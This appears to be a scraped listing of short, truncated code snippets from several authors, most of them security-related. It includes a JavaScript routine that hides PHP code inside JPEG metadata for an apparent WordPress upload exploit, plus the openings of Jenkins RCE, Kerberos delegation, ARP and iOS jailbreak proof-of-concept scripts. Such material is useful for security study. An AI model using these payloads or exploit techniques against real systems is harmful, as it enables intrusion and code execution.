lizthegrey

default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam'
default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes'
default['sshd']['sshd_config']['PasswordAuthentication'] = 'no'

eschulte

# Build souffle
FROM ubuntu:18.04 as souffle
RUN apt-get -y update && apt-get -y install automake  bison build-essential clang doxygen flex git libtool make mcpp openjdk-8-jdk pkg-config python sqlite3 libsqlite3-dev subversion swi-prolog zlib1g-dev
RUN git clone -b 1.4.0 https://github.com/souffle-lang/souffle
RUN cd souffle && sh ./bootstrap
RUN cd souffle && ./configure --prefix=/usr --enable-64bit-domain --disable-provenance
RUN cd souffle && make -j4 install
RUN cd souffle && cp include/souffle/RamTypes.h /usr/include/souffle/

# Build the faulty version of UnrealIRCd

allyshka

var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);

Proteas

void inject_trusts(int pathc, const char *paths[])
{
    printf("[+] injecting into trust cache...\n");
    
    extern uint64_t g_kern_base;
    
    static uint64_t tc = 0;
    if (tc == 0) {
        /* loaded_trust_caches
         iPhone11,2-4-6: 0xFFFFFFF008F702C8

0xhexmex

param(
    [Parameter(Mandatory)]
    [string]$Path
)

#Created by [email protected]
#
#Got keytab structure from http://www.ioplex.com/utilities/keytab.txt
#
#  keytab {

adamyordan

#!/usr/bin/python

# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


import argparse
import jenkins

zelivans

{
	"defaultAction": "SCMP_ACT_ERRNO",
	"archMap": [
		{
			"architecture": "SCMP_ARCH_X86_64",
			"subArchitectures": [
				"SCMP_ARCH_X86",
				"SCMP_ARCH_X32"
			]
		},

ztothez

#!/usr/bin/env python

import scapy.all as scapy
import time
import sys

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request

3xocyte

#!/usr/bin/env python

# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
# this is a rough PoC

# requirements for RCE:
# - the attacker needs to either have or create an object with a service principal name
# - the MSSQL server has to be running under the context of System/Network Service/a virtual account
# - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts)
# - NTLM has to be in use

roycewilliams

Client-side software update verification failures

Exploitable vulnerabilities in client-side software update mechanisms that could have been mitigated by secure transport (TLS).

Contributions welcome. All text taken from the vulnerability descriptions themselves, with additional emphasis mine.

In scope:

• I consider exploitation or privilege escalation of the package tool/system itself (that would have been mitigated by secure transport) to be in scope.
• Issues only described as being triggered by malicious mirrors are assumed to also be vulnerable to MITM.
• Failure to verify the software update at all is currently provisionally in scope if it could have been mitigated by secure transport, but I'm waffling about it. Most of these are actual signature verification failures, and my original purpose was to highlight cases where claims of "It's OK to be HTTP because verification!" seem to me to be specious.
• Software components regularly used to verify integrity in other software pipelines a